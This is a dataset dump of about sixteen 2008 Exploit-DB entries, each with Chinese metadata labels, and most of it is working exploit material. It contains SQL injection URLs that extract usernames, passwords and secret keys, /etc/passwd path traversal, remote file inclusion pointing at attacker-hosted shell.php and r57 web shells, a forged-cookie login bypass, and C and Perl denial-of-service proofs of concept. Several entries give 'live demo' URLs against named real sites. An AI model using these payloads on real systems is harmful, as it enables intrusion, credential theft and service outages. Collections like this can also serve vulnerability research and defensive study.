QLWD/code_shield huggingface dataset:
标题: MyFWB 1.0 - 'index.php' SQL Injection EDB-ID: 6501 CVE: 2008-5097 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: MyFWB 1.0 Remote SQL Injection

Author: 0x90
url: www.0x90.com.ar
Product: MyFWB
download: http://myfwb.co.cc/downloads/myfwb_1.0_FS_edition.zip
Version: 1.0
URL: http://www.fsoft.co.nr/
Vulnerability Class: SQL Injection
contact: Guns[at]0x90[dot]com[dot]ar


Username:
http://host/MyFWB/?page=-0x90+union+select+0,0,username,0+from+user

Password:
http://host/MyFWB/?page=-0x90+union+select+0,0,password,0+from+user

Email:
http://host/MyFWB/?page=-0x90+union+select+0,0,useremail,0+from+user

Secret Key:
http://host/MyFWB/?page=-0x90+union+select+0,0,secret,0+from+user




Online Demostration:

http://myfwb.co.cc/?page=-0x90+union+select+0,0,secret,0+from+user

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6501
标题: DESlock+ < 3.2.7 - 'probe read' Local Kernel Denial of Service (PoC) EDB-ID: 6498 CVE: 2008-4363 类型: DOS 平台: WINDOWS 发布日期: 2008-09-20 漏洞利用脚本: /* deslock-probe-read.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.7 local kernel DoS POC
 * by mu-b - Sat 19 Jul 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * call to ProbeForRead with a user-definable address that
 * is eventually overwritten (should have been ProbeForWrite).
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xC001D00D

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf ("DESlock+ <= 3.2.7 local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc (NULL, 0x1000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x1000);

  req.flag = DLMFENC_FLAG;
  req.req_num = 18;
  req.arg[0] = (void *) zpage;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6498
标题: Explay CMS 2.1 - Insecure Cookie Handling EDB-ID: 6500 CVE: 2008-6411 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: ###############################################################################################
[+] Explay CMS <= 2.1 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "login=1; path=/"; document.cookie = "pass=1; path=/";

# milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6500
标题: fhttpd 0.4.2 - 'un64()' Remote Denial of Service EDB-ID: 6493 CVE: 2008-7014 类型: DOS 平台: LINUX 发布日期: 2008-09-19 漏洞利用脚本: #!/usr/bin/perl
#Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]

#http://www.fhttpd.org / fhttpd-0.4.2.tar.gz (WARNING: VERY OLD)
#Program received signal SIGSEGV, Segmentation fault.
#0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69

#69       if(c2!=-2) c3=rptr[3]; else c3=-2;
#(gdb) bt
#0  0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69
#1  0x080672bf in ControlFTPServerApp::process_get_line (this=0x8089678, 
#fhttpd.cc:2044

#3  0x08060190 in Wheel::onepass (this=0x8081338) at sockobj.cc:1953
#4  0x08073c14 in main (argc=1, argv=0xbffff464, env=0xbffff46c) at fhttpd.cc:3645
#One of the near useless bugs found by my fuzzer with http fuzz capabilities

# Crashes with { } | [ ] \ ; : ' " < > ? , . OR with just a space after Basic:

use IO::Socket;

if(@ARGV < 1)
{

     print "\nUsage: host\n\n";
     exit(1);

}

$host    = $ARGV[0];
$port    = 80;

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host, PeerPort=>$port)
or die "\nError: socket\n\n";

print $sock "HEAD / HTTP/1.1\r\nAuthorization: Basic |\r\n\r\n";
close($sock);

# milw0rm.com [2008-09-19] URL: https://www.exploit-db.com/exploits/6493
标题: DESlock+ < 3.2.7 - Local Kernel Overflow (PoC) EDB-ID: 6496 CVE: 2008-1141 类型: DOS 平台: WINDOWS 发布日期: 2008-09-20 漏洞利用脚本: /* deslock-overflow.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.7 local kernel overflow POC
 * by mu-b - Sat 23 Feb 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL   0x0FA4204C
#define DLMFENC_FLAG    0xC001D00D
#define DLMFENC_BUZ_SZ  0x1000

#define ARG_SIZE(a)     ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  CHAR buf[DLMFENC_BUZ_SZ + 128];
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("DESlock+ <= 3.2.7 local kernel overflow PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  buf[0] = 'C';                           /* drive letter */
  memset (&buf[1], 0x41, sizeof buf - 1); /* filename     */
  buf[sizeof buf - 1] = '\0';

  memset (&req, 0, sizeof req);
  req.flag = DLMFENC_FLAG;
  req.req_num = 0x05;
  req.arg[0] = (void *) buf;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20] URL: https://www.exploit-db.com/exploits/6496
标题: CYASK 3.x - 'neturl' Local File Disclosure EDB-ID: 6487 CVE: 2008-4151 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass 
the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);
  
    $collect_url=empty($neturl) ? $url : $neturl;
  
    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?neturl=../../../etc/passwd

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6487
标题: ProArcadeScript 1.3 - 'random' SQL Injection EDB-ID: 6486 CVE: 2008-4173 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: /************************************************************************/
             /*                                                                      */
             /*                          ProArcadeScript v1.3                        */
             /*                                                                      */
             /*                   Remote SQL Injection Vulnerability                 */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/
             /                                                                        /


 [~]AUTHOR          : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]HOME            : http://www.snakespc.com                    

 [~]VERSION         : Tested on >>> ProArcadeScript v1.3

 [~]BUY SCRIPT      : http://www.proarcadescript.com  >>> Price : 59.01 USD

 [~]EXPLOIT         : 

                     http://127.0.0.1/?random=-2 UNION SELECT 1,2,3,concat(username,char(58),password,char(58),email),5+FROM+pas_users--

                

                             /////////////////////////////////////////////////////////////////////////////////////
            
                            ////////        Special ThanX : His0k4,& ALL Snakespc.com Members       ////////////
                           ////////          << GOOD RAMADANE FOR ALL MUSLIMS In THE World >>      ////////////

                          ////////////////////////////////////////////////////////////////////////////////////
                                        
                                               -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6486
标题: AssetMan 2.5-b - SQL Injection using Session Fixation EDB-ID: 6490 CVE: 2008-4161 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: ============================================================
AssetMan v2.5-b   SQL Injection using Session Fixation Attack
============================================================

           ;               ,           
         ,;                 '.         
        ;:                   :;         
       ::                     ::       
       ::                     ::       
       ':                     :         
        :.                    :         
     ;' ::                   ::  '     
    .'  ';                   ;'  '.     
   ::    :;                 ;:    ::   
   ;      :;.             ,;:     ::   
   :;      :;:           ,;"      ::   
   ::.      ':;  ..,.;  ;:'     ,.;:   
    "'"...   '::,::::: ;:   .;.;""'     
        '"""....;:::::;,;.;"""         
    .:::.....'"':::::::'",...;::::;.   
   ;:' '""'"";.,;:::::;.'""""""  ':;   
  ::'         ;::;:::;::..         :;   
 ::         ,;:::::::::::;:..       :: 
 ;'     ,;;:;::::::::::::::;";..    ':. 
::     ;:"  ::::::"""'::::::  ":     :: 
 :.    ::   ::::::;  :::::::   :     ; 
  ;    ::   :::::::  :::::::   :    ;   
   '   ::   ::::::....:::::'  ,:   '   
    '  ::    :::::::::::::"   ::       
       ::     ':::::::::"'    ::       
       ':       """""""'      ::       
        ::                   ;:         
        ':;                 ;:"         
          ';              ,;'           
            "'           '"             
              ' 


AUTHOR : Neo Anderson   &   Rohit Bansal
DATE   : 19th Sept,2008
Email  : neo.whizzy@gmail.com & rohitisback@gmail.com

#####################################################

# Site        : http://www.bctree.com/~assetman
# Bug         : SQL Injection using Session Fixation Attack
# File        : search_inv.php
# Variable    : GET variable 'order_by'

#####################################################

# Impact of Vulnerability:

By exploiting this vulnerability, an attacker may conduct a session fixation attack. In a session fixation attack, the attacker fixes the user's session ID before the user even logs into the target server, thereby eliminating the need to obtain the user's session ID afterwards.

#####################################################

# Bug explanation - Session Fixation Attack/Meta Tag Exploitation:

By injecting a custom HTTP header or by injecting a META tag, it is possible to alter the cookies stored in the browser. Attackers will normally manipulate cookie values to fraudulently authenticate themselves on a web site.

#####################################################

# PoC:

http://127.0.0.1/assetman/search_inv.php?action=search_all&order_by=%3Cmeta+http-equiv='Set-cookie'+content='=value'%3E&order=DESC+limit+1,1--

#####################################################
# GreeTz
InfySec , str0ke & EvilFingers

www.infysec.com
www.evilfingers.com

#####################################################

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6490
标题: addalink 4 - 'category_id' SQL Injection EDB-ID: 6485 CVE: 2008-4145 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Add a link <= 4 - beta || Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

/ Script: Add a link
/ Version: <= 4 - beta
/ File affected: user_read_links.php
/ Download: http://sourceforge.net/projects/addalink/
/ need magic_quotes_gpc = Off


Found by ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org


Vuln Code:
--------------

32:  $read_out_linktable="SELECT * FROM $linktable WHERE approved='1' AND category_id='$category_id' ORDER BY id DESC LIMIT $start,$steps";
33:  $read_result=mysql_query($read_out_linktable);

....

87:  while($data=mysql_fetch_array($read_result))
88:  {
90:      echo "<tr><td colspan=\"5\">$data[description]</td></tr>";
91:  }

--------------

The var $category_id isn't verified.


Proof of Concept:

http://[host]/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*


__EOF__

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6485
标题: ProActive CMS - 'template' Local File Inclusion EDB-ID: 6489 CVE: 2008-4187 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: ProActive CMS LFI 

#
# Vendor: http://www.proactivecms.com/

# 
#
###########################################################
#
# d0rk:n/a
#
###########################################################
 
     POC:- http://www.site.com/index.php?template=../../../../../../../../../../../../../etc/passwd%00
 

     
     
     Live Demo: 
 http://www.proactivecms.com/index.php?template=../../../../../../../../../../../../../etc/passwd%00

     

###########################################################
#
#  Bug discovered : 18 Sep.2008
###########################################################

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6489
标题: Technote 7 - 'shop_this_skin_path' Remote File Inclusion EDB-ID: 6478 CVE: 2008-4138 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: #-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------Technote 7 Remote File Inclusion------------------------#
# ----------developers site: http://www.technote.co.kr--------------#

bash-3.1# cat technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php

...snip...
$TWIN_SET['dir_path']= "$shop_this_skin_path/3_plugin_twindow/skin_gray";
...snip...
include_once "$TWIN_SET[dir_path]/frame_design.php";

http://site/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://ip.a.dd.r/shell.php?

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6478
标题: addalink 4 Beta - Write Approved Links EDB-ID: 6482 CVE: 2008-4146 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
addalink <= 4 - beta / Write approved links without a previous moderation by the admin
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: addalink
$ Version: <= 4 - beta
$ File affected: add_link.php
$ Download: http://sourceforge.net/projects/addalink/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

Linklist is a miniwebsite that you can use in your webpage. Basically it 
manages a database of links using PHP+MySQL. Users can send links (url, 
description, etc) by a form and one admin has to approve or delete the 
links before the publication in the website.

One not very important problem is that add_link.php doesn't test the 
method used (GET or POST). But the real problem is the method to insert 
some values. 

Reading the code you can see the SQL sentence:

INSERT INTO $linktable VALUES('0','$url','$linkname','$approved=0','$email',
            '$counter=0','$description','$ip','$date','$category_id','0')";

It asign values to approved and counter directly in the SQL sentence. For that,
you can enter links approved without moderation writing this:

http://domain/add_link.php?url=http://www.domain.com&linkname=name_of_the_link
&approved=1&email=my@email.com&description=blablablablablablabla&category_id=1

Also you can alter the counter of visits if you add &counter=XXXX to the GET


-= Solution =-


$approved = 0;
$counter = 0;

INSERT INTO $linktable VALUES('0','$url','$linkname','$approved','$email',
            '$counter','$description','$ip','$date','$category_id','0')";

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6482
标题: E-PHP CMS - 'article.php' SQL Injection EDB-ID: 6483 CVE: 2008-4142 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: ############################################################
############# E-Php Content Management System ######################
## HaCker_Egy ;
## Contact : hacker_egy@hotmail.com
## Home : pal-hacker.com & atsdp.com
===============================================
# Script :  E-Php Content Management System
# Download : http://www.ephpscripts.com
===============================================
# Exploit :
           ==>> www.target.com/article.php?es_id=-1+union+select+1,current_user,3,4,5,6,7,8,9,10,11,12/*
         
     ==>> www.target.com/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12/*
    
# live Demo :
             
    ==>> http://www.ephpscripts.com/demo/cms/article.php?es_id=-1+union+select+1,current_user,3,4,5,6,7,8,9,10,11,12/*
   
## Note : use your mind to get Full exploit D: 
   
===============================================================
## GREETZ : Mr.SQL , GOLD_M , H-T Team , His0k4 , Dark , stack ,Mohamed el arab
===============================================================

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6483
标题: X10media Mp3 Search Engine 1.5.5 - Remote File Inclusion EDB-ID: 6480 CVE: 2008-4141 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: ################## THUNDER #########################################################
#
#
#    X10media Mp3 Search Engine v1.5.5 Remote File Inclusion Vulnerability
#
#    Founded by : THUNDER <t4h[at]hotmail.fr>
#    Dork: "This search engine is in no way intended for illegal downloads."
#
##### Vuln Code: ###################################################################
#
# file : /includes/function_core.php
#  -88.- include ($web_root."js/Mp3Player.php");
#
#-----------------------------------------------------------------
#
# file : /templates/layout_lyrics.php
#  .5.- include ($web_root."includes/function_list.php");
#
###### Exploit #####################################################################
#
#   http://www.target.com/[path]/includes/function_core.php?web_root=http://127.0.0.1/r57.txt?
#
#   http://www.target.com/[path]/templates/layout_lyrics.php?web_root=http://127.0.0.1/r57.txt?           
#         
#
#
###### Greets #######################################################################
#
#   MoRoCcan InjEctor5 Te4m and All Hackers
#
####################################################################################

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6480
标题: Diesel Joke Site - 'picture_category.php' SQL Injection EDB-ID: 6488 CVE: 2008-4150 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-18 漏洞利用脚本: ################## sarbot511 #########################################################
#
#
#              jokes script  Remote SQL Injection Exploit
#
#    Founded by : sarbot511 
#    Dork: "All Rights Reserved. Powered by DieselScripts.com" 
#
##### Vuln Code: ###################################################################
#
#
###### Exploit #####################################################################
#
#   http://www.target.com/[path]/picture_category.php?id=-1%20union%20select%201,aid,3,4,5,6,7,8,apass,10,11,12%20from%20admin/*
#
###### Greets #######################################################################
#
#  Dr.LiNuX  ,  ABO3TB  , ALM511  ,master , all my frinds
#
####################################################################################

# milw0rm.com [2008-09-18] URL: https://www.exploit-db.com/exploits/6488